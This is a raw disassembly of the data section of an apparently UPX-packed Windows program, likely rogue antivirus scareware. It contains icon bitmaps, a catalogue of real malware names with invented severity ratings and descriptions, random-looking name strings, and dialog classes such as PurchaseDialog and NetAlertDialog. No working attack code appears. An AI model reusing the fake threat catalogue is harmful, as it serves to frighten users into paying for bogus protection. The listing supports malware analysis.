		dd 0FF3F6091h, 0FF38598Dh, 0FF305188h, 0FF2C4B81h, 0FF56698Fh
		dd 0ECC4C3C2h, 8 dup(0)
		dd 3 dup(0FFCECECEh), 8	dup(0FFC9C9C9h), 0FFC8C8C8h, 0FFCFCFD0h
		dd 0FFDCDAD7h, 0FFD2D4D4h, 0FF879EB6h, 0FF52749Eh, 0FF4D6F9Ah
		dd 0FF456696h, 0FF3E5F92h, 0FF36578Dh, 0FF305087h, 0FF294476h
		dd 0FDBDC0C8h, 0FACED0D5h, 7 dup(0)
		dd 3 dup(0FFCECECEh), 9	dup(0FFCCCCCCh), 0FFD2D2D2h, 0FFD5D5D5h
		dd 0FFDBD9D7h, 0FFDAD8D7h, 0FF879EB6h, 0FF4E739Eh, 0FF4C6D9Ah
		dd 0FF426595h, 0FF3A5C91h, 0FF33548Ch, 0FF1B3970h, 0FF96A2B7h
		dd 0FACED0D5h, 7 dup(0)
		dd 3 dup(0FFCECECEh), 9	dup(0FFCFCFCFh), 0FFD5D5D5h, 2 dup(0FFD8D8D8h)
		dd 0FFDCDBDBh, 0FFDAD8D7h, 0FF879EB6h, 0FF4A6E9Dh, 0FF486A99h
		dd 0FF3F6194h, 0FF365890h, 0FF1A3973h, 0FF6D7EA1h, 0D4BEBBBAh
		dd 7 dup(0)
		dd 0FEBBBDBFh, 0FF5574A4h, 0FFEAF0F8h, 2 dup(0FFD5D5D5h)
		dd 0FFD6D6D6h, 6 dup(0FFD5D5D5h), 0FFDADADAh, 4	dup(0FFDDDDDDh)
		dd 0FFE8E5E2h, 0FF879EB6h, 0FF4A6E9Dh, 0FF3C6097h, 0FF3B5E97h
		dd 0FF24447Fh, 0FF3B5686h, 0FACED0D5h, 7 dup(0)
		dd 0FFBCBEC1h, 0FF5574A4h, 0FF2F5696h, 0FFEAF0F8h, 0FFDEDEDEh
		dd 3 dup(0FFE0E0E0h), 0FFDEDEDEh, 3 dup(0FFDFDFDFh), 0FFDEDEDEh
		dd 5 dup(0FFDDDDDDh), 0FFE6E5E1h, 0FF879EB6h, 0FF4A6E9Dh
		dd 0FF325792h, 0FF274882h, 0FF314D81h, 0FFC6CBD2h, 7 dup(0)
		dd 0FFBDBFC1h, 0FF5C7CAEh, 0FF2F5696h, 0FF446AA2h, 0FFEAF0F8h
		dd 0FFE9E9EAh, 0FFECECECh, 0FFEBEBEBh, 0FFE9E9E9h, 0FFE8E8E8h
		dd 2 dup(0FFE9E9E9h), 0FFE2E2E2h, 5 dup(0FFDDDDDDh), 0FFDCDCDDh
		dd 0FFE6E4E0h, 0FF879EB6h, 0FF4A6E9Dh, 0FF254683h, 0FF2D497Eh
		dd 0FFC0C6D1h, 7 dup(0)
; ---------------------------------------------------------------------------
		sar	dword ptr [edi-7C4C0043h], 62h
		jmp	dword ptr [edx-5B00BB96h]
; ---------------------------------------------------------------------------
		db 6Ah,	43h, 0FFh
		dd 0FF688BB8h, 0FFEAF0F8h, 2 dup(0FFEEEEEEh), 0FFEFEFEFh
		dd 0FFECECECh, 2 dup(0FFEBEBEBh), 0FFE5E5E5h, 6	dup(0FFE1E1E1h)
		dd 0FFE0E0E0h, 0FFE7E6E3h, 0FF879EB6h, 0FF1D407Fh, 0FF25427Bh
		dd 0FFC7CDD6h, 7 dup(0)
; ---------------------------------------------------------------------------
		sar	dword ptr [edi-79480043h], 65h
		jmp	fword ptr [edx-5B00B18Ch]
; ---------------------------------------------------------------------------
		db 6Ah,	43h, 0FFh
		dd 0FF6788B5h, 0FF688BB8h, 0FFEAF0F8h, 0FFF2F1F1h, 2 dup(0FFF2F2F2h)
		dd 0FFF0F0F0h, 0FFEFEFEFh, 0FFE7E7E7h, 8 dup(0FFE3E3E3h)
		dd 0FFE9E8E6h, 0FF94A2BBh, 0FE28477Eh, 0FFC2C8D5h, 7 dup(0)
		dd 0FFBDBFC2h, 0FE6D8DBBh, 0FF537DB0h, 0FF5B80B2h, 0FF5078AEh
		dd 0FF688BB8h, 0FF9EBADCh, 0FFEAF0F8h, 0FFF6F7F6h, 2 dup(0FFF8F8F8h)
		dd 0FFF7F7F7h, 0FFEEEEEEh, 3 dup(0FFE7E7E7h), 5	dup(0FFE8E8E8h)
		dd 0FFE7E7E8h, 0FFF4F3EFh, 0FFB2BBCCh, 0FFD5DAE2h, 7 dup(0)
		dd 0FFBEC0C2h, 0FF7BA0CAh, 0FF648EBEh, 0FF6C93C1h, 0FF6E95C2h
		dd 0FF7197C2h, 0FF6D93C1h, 0FF6F93C2h, 0FFEAF0F8h, 0FFFFFFFEh
		dd 2 dup(0FFFEFEFEh), 0FFFBFBFBh, 3 dup(0FFF9F9F9h), 0FFF5F5F5h
		dd 0FFF2F2F2h, 0FFF0F0F0h, 2 dup(0FFEFEFEFh), 2	dup(0FFEEEEEEh)
		dd 0FEEEEEEEh, 0FFFCFCFCh, 7 dup(0)
		dd 0FFBEC0C2h, 0FF82A9D0h, 0FF6C97C4h, 0FF759CC7h, 0FF779EC8h
		dd 0FF799EC9h, 0FF7CA1CAh, 0FF7B9EC9h, 0FF769BC7h, 0FFEAF0F8h
		dd 2 dup(0FFFFFFFFh), 0FFFCFCFCh, 0FFFAFAFAh, 0FFFBFBFBh
		dd 0FFFCFCFCh, 2 dup(0FFFEFEFEh), 0FFFDFDFDh, 0FFFCFCFCh
		dd 0FFFBFBFBh, 0FFFAFAFAh, 0FFF8F8F8h, 0FFF9F9F9h, 0FFFFFFFFh
		dd 7 dup(0)
		dd 0FFBEC0C2h, 0FF8AB1D7h, 0FF75A1CBh, 0FF7FA7CFh, 2 dup(0FF82A8D0h)
		dd 0FF84A8D0h, 0FF85A8D0h, 0FF85A7D0h, 0FFA5BEDBh, 0FFEAF0F8h
		dd 0FFFFFFFFh, 0FFFEFEFDh, 3 dup(0FFFDFDFDh), 9	dup(0FFFFFFFFh)
		dd 7 dup(0)
		dd 0FFBEC0C2h, 0FF92BADCh, 0FF7EABD2h, 0FF87B0D6h, 0FF89B1D5h
		dd 0FF8AB1D5h, 0FF8CB1D5h, 0FF8CB0D5h, 0FF8EAFD6h, 0FF87A8D1h
		dd 0FFA2BBDBh, 0FFEAF0F8h, 0Dh dup(0FFFFFFFFh),	7 dup(0)
		dd 0FEBEC0C2h, 0FF99C2E2h, 0FF88B6DAh, 0FF91BADCh, 2 dup(0FF93B9DCh)
		dd 2 dup(0FF94B8DBh), 0FF94B6DAh, 0FF97B6DAh, 0FF8FAFD6h
		dd 0FF9EBADCh, 0FFE1E9F5h, 0Ch dup(0FFFFFFFFh),	7 dup(0)
		dd 0FEBEC0C2h, 0FFA0CAE6h, 0FF91BEDEh, 0FF98C1E0h, 0FF99C0E0h
		dd 0FF99BFDFh, 0FF9ABEDFh, 0FF9ABEDEh, 0FF9ABCDDh, 0FF9CBADCh
		dd 0FF9DBADCh, 0FF97B5D9h, 0FF9EB8DBh, 0FFDAE3F0h, 0Bh dup(0FFFFFFFFh)
		dd 7 dup(0)
		dd 0FEBEC0C2h, 0FFA7D0E9h, 0FF9AC6E3h, 0FFA0C9E4h, 0FFA0C7E3h
		dd 0FFA1C6E2h, 0FFA0C4E1h, 0FFA0C3E1h, 0FFA0C1E0h, 0FFA2BFDFh
		dd 0FFA1BEDFh, 0FFA3BEDEh, 0FF9FBADCh, 0FFA1BBDCh, 0FFD2DFEFh
		dd 0FFFEFEFFh, 9 dup(0FFFFFFFFh), 7 dup(0)
		dd 0FEBEC0C2h, 0FFEAFAFFh, 0FFCDEDFCh, 0FFD0ECFBh, 0FFCFEAFBh
		dd 0FFCFE9FAh, 0FFCEE7F8h, 0FFCDE6F8h, 0FFCCE4F7h, 0FFCCE1F6h
		dd 0FFCDE1F6h, 0FFCEDFF6h, 0FFCEDFF5h, 0FFD0E0F5h, 0FFCEDEF4h
		dd 0FFCADBF3h, 9 dup(0FFFFFFFFh), 7 dup(0)
aOooi		db 'ŽŽŽˆ´´·¹°°³¶°°³¶°°³¶°°³¶°°³¶°°³¶°°³¶°°³¶°°³¶°°³¶°°³¶°°³¶°°³¶°°°¶¯'
		db '¯¬¶¬¬¬¶¬¬¬¶¬¬¬¶¬¬¬¶¬¬¬¶¬¬¬¶°°°¹§§§©',0
		align 4
		dd 23h dup(0)
dword_42CA58	dd 400h	dup(0FFFFFFh)					; sub_409FB8+6Eo ...
off_42DA58	dd offset aLdpinchV	; DATA XREF: sub_4098E0+21Fr
					; "LdPinch V"
off_42DA5C	dd offset aCritical	; DATA XREF: sub_4098E0+219r
					; "Critical"
off_42DA60	dd offset aAVariantOfTheK ; DATA XREF: sub_4098E0+213r
					; "A variant of	the Key	Logger that captur"...
		dd offset aAdvancedStealt ; "Advanced Stealth Email Redirector 6.2"
		dd offset aCritical_0	; "Critical"
		dd offset aAdvancedStea_0 ; "Advanced Stealth Email Redirector (Adva"...
		dd offset aVmalumAws	; "VMalum AWS"
		dd offset aHigh		; "High"
		dd offset aTrojanAnyProgr ; "Trojan:  Any program with a hidden	inte"...
		dd offset aCnnicUpdateU	; "CNNIC Update	U"
		dd offset aVeryHigh	; "Very	high"
		dd offset aAProgramThatDo ; "A program that downloads and may execut"...
		dd offset aBancosDmd	; "Bancos DMD"
		dd offset aCritical_1	; "Critical"
		dd offset aAVariantOfTh_0 ; "A variant of the Key Logger that captur"...
		dd offset aWin32_grams_i ; "Win32.Grams.I"
		dd offset aCritical_2	; "Critical"
		dd offset aWin32_grams_iI ; "Win32.Grams.I is a	trojan that attempts"...
		dd offset aZlobAn	; "Zlob	AN"
		dd offset aVeryHigh_0	; "Very	high"
		dd offset aAProgramThat_0 ; "A program that downloads and may execut"...
		dd offset aSillydlBcl	; "SillyDl BCL"
		dd offset aVeryHigh_1	; "Very	High"
		dd offset aAProgramThat_1 ; "A program that downloads and may execut"...
		dd offset aCpush	; "CPush"
		dd offset aMedium	; "Medium"
		dd offset aCategoryAdware ; "Category Adware:  Software	that display"...
		dd offset aWin32Wadnock	; "Win32/Wadnock"
		dd offset aHigh_0	; "High"
		dd offset aWin32WadnockAr ; "Win32/Wadnock are a family	of worms tha"...
		dd offset aBestSearch	; "Best	search"
		dd offset aMedium_0	; "Medium"
		dd offset aCategoryAdwa_0 ; "Category Adware:  Software	that display"...
		dd offset aWin32Nuqel_e	; "Win32/Nuqel.E"
		dd offset aHigh_1	; "High"
		dd offset aWin32Nuqel_eIs ; "Win32/Nuqel.E is a	worm that spreads vi"...
		dd offset aEdgeTech	; "Edge	Tech"
		dd offset aMedium_1	; "Medium"
		dd offset aCategoryAdwa_1 ; "Category Adware:  Software	that display"...
		dd offset aDisablekey	; "DisableKey"
		dd offset aMedium_2	; "Medium"
		dd offset aCategoryAdwa_2 ; "Category Adware:  Software	that display"...
		dd offset aEmogen_b	; "Emogen.B"
		dd offset aMedium_3	; "Medium"
		dd offset aCategoryBackdo ; "Category Backdoor:	It is a	critical vul"...
		dd offset aMoonlight_v	; "MoonLight.V"
		dd offset aHigh_2	; "High"
		dd offset aCategoryWormIt ; "Category Worm: Its	main objective is to"...
		dd offset aAutorun_aol	; "Autorun.AOL"
		dd offset aHigh_3	; "High"
		dd offset aCategoryWorm_0 ; "Category Worm: It spreads exploiting th"...
		dd offset aSinowal_vxr	; "Sinowal.VXR"
		dd offset aVeryHigh_2	; "Very	High"
		dd offset aCategoryTrojan ; "Category Trojan: It is designed to	obta"...
		dd offset aAntivirus360	; "Antivirus360"
		dd offset aHigh_4	; "High"
		dd offset aCategoryAdwa_3 ; "Category Adware: It deceives users	and "...
		dd offset aBankerfox_a	; "BankerFox.A"
		dd offset aMedium_4	; "Medium"
		dd offset aCategoryTroj_0 ; "Category Trojan: It is designed to	stea"...
		dd offset aP2pshared_u	; "P2PShared.U"
		dd offset aHigh_5	; "High"
		dd offset aCategoryWorm_1 ; "Category Worm: Its	main objective is to"...
		dd offset aBittera_c	; "BitTera.C"
		dd offset aCritical_3	; "Critical"
		dd offset aCategoryVirusI ; "Category Virus: It	is a malicious tool "...
		dd offset aAzero_b	; "Azero.B"
		dd offset aHigh_6	; "High"
		dd offset aCategoryViru_0 ; "Category Virus: It	modifies the Desktop"...
		dd offset aSality_an	; "Sality.AN"
		dd offset aCritical_4	; "Critical"
		dd offset aCategoryViru_1 ; "Category Virus: It	infects	executable f"...
		dd offset aWinwebsecurity ; "WinWebSecurity2008"
		dd offset aMedium_5	; "Medium"
		dd offset aCategoryAdwa_4 ; "Category Adware: It deceives users	and "...
		dd offset aDownloader_js_ ; "Downloader.JS.Small.fi"
		dd offset aHigh_7	; "High"
		dd offset aCategoryTroj_1 ; "Category Trojan: This Trojan downloads "...
		dd offset aPsw_win32_onli ; "PSW.Win32.OnLineGames.sxa"
		dd offset aMedium_6	; "Medium"
		dd offset aCategoryTroj_2 ; "Category Trojan: This malicious program"...
		dd offset aDownloader_win ; "Downloader_Win32_Agent.nmi"
		dd offset aCritical_5	; "Critical"
		dd offset aCategoryTroj_3 ; "Category Trojan: This Trojan downloads "...
		dd offset dword_4225FC+0E0h
		dd offset aHigh_8	; "High"
		dd offset aCategoryTroj_4 ; "Category Trojan: This Trojan downloads "...
		dd offset aDownloader_j_0 ; "Downloader.JS.Agent.sg"
		dd offset aMedium_7	; "Medium"
		dd offset aCategoryTroj_5 ; "Category Trojan: This Trojan downloads "...
		dd offset aGamethief_win3 ; "GameThief.Win32.OnLineGames.tnys"
		dd offset aMedium_8	; "Medium"
		dd offset aCategoryTroj_6 ; "Category Trojan: This Trojan is designe"...
		dd offset aPsw_win32_on_0 ; "PSW.Win32.OnLineGames.rlh"
		dd offset aHigh_9	; "High"
		dd offset aCategoryTroj_7 ; "Category Trojan: This malicious program"...
		dd offset aDownloader_w_0 ; "Downloader.Win32.Delf.cgx"
		dd offset aHigh_10	; "High"
		dd offset aCategoryTroj_8 ; "Category Trojan: This Trojan downloads "...
		dd offset dword_423144+158h
		dd offset aHigh_11	; "High"
		dd offset aCategoryBack_0 ; "Category Backdoor:	This Trojan provides"...
off_42DBF0	dd offset aAazalirt	; DATA XREF: sub_417692:loc_41770Br
					; "aazalirt"
		dd offset aSkaaanret	; "skaaanret"
		dd offset aJungertab	; "jungertab"
		dd offset aZibaglertz	; "zibaglertz"
		dd offset aIddqdops	; "iddqdops"
		dd offset aRonitfst	; "ronitfst"
		dd offset aTobmygers	; "tobmygers"
		dd offset aJikglond	; "jikglond"
		dd offset aTobykke	; "tobykke"
		dd offset aKlopnidret	; "klopnidret"
		dd offset aJiklagka	; "jiklagka"
		dd offset aSalrtybek	; "salrtybek"
		dd offset aSeeukluba	; "seeukluba"
		dd offset aJrjakdsd	; "jrjakdsd"
		dd offset aKrkdkdkee	; "krkdkdkee"
		dd offset aDkewiizkjdks	; "dkewiizkjdks"
		dd offset aDkekkrkska	; "dkekkrkska"
		dd offset aRkaskssd	; "rkaskssd"
		dd offset aKuruhccdsdd	; "kuruhccdsdd"
		dd offset aKrujmmwlrra	; "krujmmwlrra"
		dd offset aKkwknrbsggeg	; "kkwknrbsggeg"
		dd offset aKtknamwerr	; "ktknamwerr"
		dd offset aIqmcnoeqz	; "iqmcnoeqz"
		dd offset aIenotas	; "ienotas"
		dd offset aKrkmahejdk	; "krkmahejdk"
		dd offset aOtpeppggq	; "otpeppggq"
		dd offset aKrtawefg	; "krtawefg"
		dd offset aOranerkka	; "oranerkka"
		dd offset aKitiiwhaas	; "kitiiwhaas"
		dd offset aOtowjdseww	; "otowjdseww"
		dd offset aOtnnbektre	; "otnnbektre"
		dd offset aOropbbsee	; "oropbbsee"
		dd offset aIrprokwks	; "irprokwks"
		dd offset aOoorjaas	; "ooorjaas"
off_42DC78	dd offset off_41D588	; DATA XREF: UPX0:00424DC4o
					; UPX0:00425B4Co ...
		align 10h
a_?avexception@	db '.?AVexception@std@@',0
off_42DC94	dd offset off_41D588	; DATA XREF: UPX0:00425A3Co
					; UPX0:00425A64o ...
		dd 0
a_?avout_of_ran	db '.?AVout_of_range@std@@',0
		align 4
off_42DCB4	dd offset off_41D588	; DATA XREF: UPX0:00425ADCo
					; UPX0:00425B00o ...
		dd 0
a_?avlogic_erro	db '.?AVlogic_error@std@@',0
		align 8
a0:					; DATA XREF: sub_404D0B+1Bo
		unicode	0, <0>,0
		dw 0Bh
		unicode	0, <>,0
		dd offset sub_406781
		dd 5 dup(0)
		dd 6, 3	dup(0)
dword_42DD08	dd 0							; sub_404D0B+Cw
		dd 0
		dd 7F00h, 1, 14h dup(0)
dword_42DD68	dd 30h,	0Bh, 406781h, 5	dup(0)		dd 6, 3	dup(0)
dword_42DD98	dd 0							; sub_404D5C+Cw
		dd 0
		dd 7F00h, 1, 14h dup(0)
dword_42DDF8	dd 30h,	0Bh, 406781h, 5	dup(0)		dd 6, 3	dup(0)
dword_42DE28	dd 0							; sub_418186+46w
		dd 0
		dd 7F00h, 1, 13h dup(0)
off_42DE84	dd offset off_41D588	; DATA XREF: UPX0:00425A8Co
					; UPX0:00425AB4o ...
		dd 0
a_?avlength_err	db '.?AVlength_error@std@@',0
		align 4
off_42DEA4	dd offset dword_423B6C	; DATA XREF: sub_401652+4Fo
					; sub_401BB2+10Fr
off_42DEA8	dd offset dword_42EE94	; DATA XREF: sub_401BB2+69r
word_42DEAC	dw 0FFFFh		; DATA XREF: sub_401BB2+7Er
word_42DEAE	dw 0FFFFh		; DATA XREF: sub_401BB2+87r
dword_42DEB0	dd 0							; sub_401931:loc_401957r ...
		align 8
dword_42DEB8	dd 0							; sub_401931+2Fr ...
dword_42DEBC	dd 0							; sub_4019F2+2Dw ...
off_42DEC0	dd offset off_41D588	; DATA XREF: UPX0:00425B28o
					; UPX0:00425B80o ...
		align 8
a_?avbad_alloc@	db '.?AVbad_alloc@std@@',0
off_42DEDC	dd offset off_41D588	; DATA XREF: UPX0:00426314o
					; UPX0:00426328o ...
		dd 0
a_?avmaindialog	db '.?AVMainDialog@@',0
		align 4
off_42DEF8	dd offset off_41D588	; DATA XREF: UPX0:00426394o
					; UPX0:004263A8o ...
		align 10h
a_?avnetalertdi	db '.?AVNetAlertDialog@@',0
		align 4
off_42DF18	dd offset off_41D588	; DATA XREF: UPX0:00426414o
					; UPX0:00426428o ...
		align 10h
a_?avalertdialo	db '.?AVAlertDialog@@',0
		align 4
off_42DF34	dd offset off_41D588	; DATA XREF: UPX0:00426494o
					; UPX0:004264A8o ...
		dd 0
a_?avpurchasedi	db '.?AVPurchaseDialog@@',0
		align 4
off_42DF54	dd offset off_41D588	; DATA XREF: UPX0:0042653Co
		dd 0
a_?auiregistrar	db '.?AUIRegistrarBase@@',0
		align 4
off_42DF74	dd offset off_41D588	; DATA XREF: UPX0:00426514o
					; UPX0:00426574o
		dd 0
a_?avcregobject	db '.?AVCRegObject@ATL@@',0
		align 4
off_42DF94	dd offset off_41D588	; DATA XREF: UPX0:0042663Co
					; UPX0:00426670o
		dd 0
a_?au_atl_modul	db '.?AU_ATL_MODULE70@ATL@@',0
off_42DFB4	dd offset off_41D588	; DATA XREF: UPX0:00426604o
		dd 0
a_?avcatlmodule	db '.?AVCAtlModule@ATL@@',0
		align 4
off_42DFD4	dd offset off_41D588	; DATA XREF: UPX0:004265C8o
		dd 0
a_?av?Catlmodul	db '.?AV?$CAtlModuleT@VCComModule@ATL@@@ATL@@',0
		align 4
off_42E008	dd offset off_41D588	; DATA XREF: UPX0:0042659Co
		align 10h
a_?avccommodule	db '.?AVCComModule@ATL@@',0
		align 4
aUs		db 'u˜',0
		align 4
aSs		db 's˜',0
		align 10h
dword_42E030	dd 400h							; sub_419DAB+44Fr
dword_42E034	dd 0FFFFFC01h	dword_42E038	dd 35h							; sub_419DAB+178r ...
dword_42E03C	dd 0Bh							; sub_419DAB+3ACr ...
dword_42E040	dd 40h		dword_42E044	dd 3FFh							; sub_419DAB:loc_41A210r
dword_42E048	dd 80h							; sub_41A2EF+44Fr
dword_42E04C	dd 0FFFFFF81h	dword_42E050	dd 18h							; sub_41A2EF+178r ...
dword_42E054	dd 8							; sub_41A2EF+3ACr ...
dword_42E058	dd 20h		dword_42E05C	dd 7Fh							; sub_41A2EF:loc_41A754r
dword_42E060	dd 2 dup(0)						; sub_41AF2B+196o
		dd 4002A000h, 2	dup(0)
		dd 4005C800h, 2	dup(0)
		dd 4008FA00h, 2	dup(0)
		dd 400C9C40h, 2	dup(0)
; ---------------------------------------------------------------------------
		push	eax
		retn
; ---------------------------------------------------------------------------
		dw 400Fh
		dd 2 dup(0)
		dd 4012F424h, 0
		dd 80000000h, 40169896h, 0
		dd 20000000h, 4019BEBCh, 0
		dd 0C9BF0400h, 40348E1Bh, 0A1000000h, 1BCECCEDh, 404ED3C2h
		dd 0B59EF020h, 0ADA82B70h, 40699DC5h, 25FD5DD0h, 4F8E1AE5h
		dd 4083EB19h, 95D79671h, 8D050E43h, 409EAF29h, 44A0BFF9h
		dd 8F1281EDh, 40B98281h, 0A6D53CBFh, 1F49FFCFh,	40D3C278h
		dd 8CE0C66Fh, 47C980E9h, 41A893BAh, 556B85BCh, 0F78D3927h
		dd 427CE070h, 0DE8EDDBCh, 0EBFB9DF9h, 4351AA7Eh, 0E376E6A1h
		dd 2F29F2CCh, 44268184h, 0AA171028h, 0E310AEF8h, 44FAC4C5h
		dd 0F3D4A7EBh, 4AE1EBF7h, 45CF957Ah, 91C7CC65h,	0A0AEA60Eh
		dd 46A3E319h, 0C17650Dh, 75868175h, 4D48C976h, 0A7E44258h
		dd 353B3993h, 53EDB2B8h, 5DE5A74Dh, 3B5DC53Dh, 5A929E8Bh
		dd 0F0A65DFFh, 54C020A1h, 61378CA5h, 5A8BFDD1h,	5D25D88Bh
		dd 67DBF989h, 0F3F895AAh, 0C8A2BF27h, 6E80DD5Dh, 979BC94Ch
		dd 52028A20h, 7525C460h, 0
dword_42E1C0	dd 0CCCDCCCDh, 0CCCCCCCCh, 3FFBCCCCh, 0D70A3D71h, 0A3D70A3h
					; DATA XREF: sub_41A833+37Co
					; sub_41AF2B+1BAo
		dd 3FF8A3D7h, 0DF3B645Ah, 6E978D4Fh, 3FF58312h,	652CD3C3h
		dd 1758E219h, 3FF1D1B7h, 84230FD0h, 0AC471B47h,	3FEEA7C5h
		dd 69B6A640h, 0BD05AF6Ch, 3FEB8637h, 42BC3D33h,	94D5E57Ah
		dd 3FE7D6BFh, 0CEFDFDC2h, 77118461h, 3FE4ABCCh,	0E15B4C2Fh
		dd 94BEC44Dh, 3FC9E695h, 3B53C492h, 14CD4475h, 3FAF9ABEh
		dd 94BA67DEh, 1EAD4539h, 3F94CFB1h, 0E2C62324h,	313BBABCh
		dd 3F7A8B61h, 0C1595561h, 7C53B17Eh, 3F5FBB12h,	8D2FEED7h
		dd 8592BE06h, 3F44FB15h, 0E9A53F24h, 0EA27A539h, 3F2AA87Fh
		dd 0E4A1AC7Dh, 467C64BCh, 3E55DDD0h, 0CC067B63h, 83775423h
		dd 3D8191FFh, 193AFA91h, 4325637Ah, 3CACC031h, 38D18921h
		dd 0B8974782h, 3BD7FD00h, 85888DCh, 0E3E8B11Bh,	3B03A686h
		dd 424584C6h, 7599B607h, 3A2EDB37h, 0D21C7133h,	0EE32DB23h
		dd 395A9049h, 0C0BE87A6h, 82A5DA57h, 32B5A2A6h,	11B268E2h
		dd 449F52A7h, 2C10B759h, 2DE44925h, 534F3436h, 256BCEAEh
		dd 0A404598Fh, 7DC2DEC0h, 1EC6E8FBh, 5A88E79Eh,	0BF3C9157h
		dd 18228350h, 62654B4Eh, 0AF8F83FDh, 117D9406h,	9FDE2DE4h
		dd 4C8D2CEh, 0AD8A6DDh,	0
		dd 80000000h, 4410h, 1,	80000000h, 3000h
dword_42E334	dd 1							; sub_41BE5A+4Cw
		align 10h
dword_42E340	dd 0		dword_42E344	dd 0							; sub_40A7A4+3Fw ...
dword_42E348	dd 0							; sub_40A7A4+53r ...
dword_42E34C	dd 0							; UPX0:loc_41C8ADo
dword_42E350	dd 0							; sub_404725+4Dr ...
dword_42E354	dd 0				dd 0Ch dup(0)
dword_42E388	dd 0							; UPX0:loc_41C8B7o
dword_42E38C	dd 6 dup(0)						; sub_404725+Bo ...
dword_42E3A4	dd 0							; sub_401441+36w ...
dword_42E3A8	dd 3 dup(0)						; sub_404725+179o ...
dword_42E3B4	dd 2 dup(0)						; UPX0:loc_41C8C1o
dword_42E3BC	dd 0		dword_42E3C0	dd 0				dd 6 dup(0)
dword_42E3DC	dd 0FB2B8ADBh						; sub_40B255+5r
dword_42E3E0	dd 0							; UPX0:loc_41C8CBw ...
		dd 2 dup(0)
dword_42E3EC	dd 0							; sub_40B45F+34w
dword_42E3F0	dd 0							; sub_40F5C7+Fr ...
		align 8
dword_42E3F8	dd 0							; sub_413B22+19r ...
		align 10h
dword_42E400	dd 0							; UPX0:off_41D5ACo
dword_42E404	dd 0				dd 0
dword_42E40C	dd 0				dd 10h dup(0)
dword_42E450	dd 0							; sub_40C52F+E1r
		align 8
dword_42E458	dd 0							; UPX0:0041D5B0o
		dd 22h dup(0)
word_42E4E4	dw 0			; DATA XREF: sub_40C52F+51w
		align 4
word_42E4E8	dw 0			; DATA XREF: sub_40C52F+4Aw
		align 4
word_42E4EC	dw 0			; DATA XREF: sub_40C52F+43w
		align 10h
word_42E4F0	dw 0			; DATA XREF: sub_40C52F+3Cw
		align 4
dword_42E4F4	dd 0		dword_42E4F8	dd 0		dword_42E4FC	dd 0		dword_42E500	dd 0		dword_42E504	dd 0		dword_42E508	dd 0		dword_42E50C	dd 0		dword_42E510	dd 0							; sub_40C52F+87r
word_42E514	dw 0			; DATA XREF: sub_40C52F+35w
		align 4
dword_42E518	dd 0		dword_42E51C	dd 0		word_42E520	dw 0			; DATA XREF: sub_40C52F+2Ew
		align 4
		dd 80h dup(0)
dword_42E724	dd 950000h						; sub_40AEA5:loc_40AEBFr ...
dword_42E728	dd 148808h, 0FFFFFFFFh,	3 dup(0)					; UPX0:off_42A1B8o
		dd 0FA0h
dword_42E740	dd 148830h, 0FFFFFFFFh,	3 dup(0)		dd 0FA0h
dword_42E758	dd 148858h, 0FFFFFFFFh,	3 dup(0)		dd 0FA0h, 148880h, 0FFFFFFFFh, 3 dup(0)
		dd 0FA0h
dword_42E788	dd 1488A8h, 0FFFFFFFFh,	3 dup(0)		dd 0FA0h, 1488D0h, 0FFFFFFFFh, 3 dup(0)
		dd 0FA0h, 1488F8h, 0
		dd 1, 6B8h, 0
		dd 0FA0h
dword_42E7D0	dd 148920h, 0FFFFFFFFh,	3 dup(0)		dd 0FA0h
dword_42E7E8	dd 148948h, 0FFFFFFFFh,	3 dup(0)		dd 0FA0h, 148970h, 0FFFFFFFFh, 3 dup(0)
		dd 0FA0h, 148998h, 0FFFFFFFFh, 3 dup(0)
		dd 0FA0h
dword_42E830	dd 1489C0h, 0FFFFFFFFh,	3 dup(0)		dd 0FA0h, 1489E8h, 0FFFFFFFFh, 3 dup(0)
		dd 0FA0h, 148A10h, 0FFFFFFFFh, 3 dup(0)
		dd 0FA0h
dword_42E878	dd 0							; sub_40D00C+251r ...
		align 10h
dword_42E880	dd 1		dword_42E884	dd 952ED0h			dd 0
dword_42E88C	dd 952EF0h						; sub_40F5C7:loc_40F68Er ...
dword_42E890	dd 0		dword_42E894	dd 0							; sub_416374+Cr ...
		dd 0
off_42E89C	dd offset aCM_unpackerPac ; DATA XREF: sub_40F83F+37w
					; "C:\\m_unpacker\\packed.exe"
		dd 0
byte_42E8A4	db 0			; DATA XREF: sub_40DC14+30w
					; sub_4119CD+5r
		align 4
dword_42E8A8	dd 0		dword_42E8AC	dd 0							; sub_40DC14+FEw
dword_42E8B0	dd 6 dup(0)			db 0
byte_42E8C9	db 3 dup(0)		; DATA XREF: sub_40DDD8+94o
		dd 40h dup(0)
		db 0
byte_42E9CD	db 0			; DATA XREF: sub_40DDD8+9Cw
		align 10h
		dd 7Dh dup(0)
dword_42EBC4	dd 0FB2B8ADBh						; sub_40DFBC+8w ...
dword_42EBC8	dd 0							; sub_40B8A1+158r ...
dword_42EBCC	dd 0FB6B6AF0h						; sub_40E0AF+Bw
dword_42EBD0	dd 0FB6B6B6Eh						; sub_40E4D8+5Ar ...
dword_42EBD4	dd 87AB1D9Bh						; sub_40E4D8+46w ...
dword_42EBD8	dd 87AB111Eh						; sub_40E4D8+53w ...
dword_42EBDC	dd 87AABC0Ch						; sub_40E4D8+67w ...
dword_42EBE0	dd 0		dword_42EBE4	dd 0		dword_42EBE8	dd 0							; sub_40EF2A+2Dr ...
		align 10h
aCM_unpackerPac	db 'C:\m_unpacker\packed.exe',0 ; DATA XREF: sub_40F83F+1Fo
					; UPX0:off_42E89Co
		align 4
		dd 3Ah dup(0)
byte_42ECF4	db 0			; DATA XREF: sub_40F83F+26w
		align 4
dword_42ECF8	dd 1							; sub_40F8FA+26w ...
dword_42ECFC	dd 0		dword_42ED00	dd 0							; sub_411DC7+1Fw ...
word_42ED04	dw 0			; DATA XREF: sub_412028+E7w
		align 10h
dword_42ED10	dd 4E4h		dword_42ED14	dd 0		dword_42ED18	dd 0		dword_42ED1C	dd 0							; sub_415847+5r ...
		dd 8 dup(0)
dword_42ED40	dd 0		dword_42ED44	dd 0FB2B8ADBh	dword_42ED48	dd 0FB2B8ADBh						; sub_4136C2:loc_41370Bo ...
dword_42ED4C	dd 0FB2B8ADBh						; sub_4136C2:loc_413761o ...
dword_42ED50	dd 0FB2B8ADBh						; sub_4136B5r ...
dword_42ED54	dd 0FB2B8ADBh						; sub_4136C2:loc_41376Do ...
		dd 0
dword_42ED5C	dd 0FB2B8ADBh			dd 2 dup(0)
dword_42ED68	dd 0FB2B8ADBh	dword_42ED6C	dd 0		; resolved to->USER32.MessageBoxA					; sub_413890+5Cw ...
dword_42ED70	dd 0		; resolved to->USER32.MessageBoxA					; sub_413890:loc_413999r
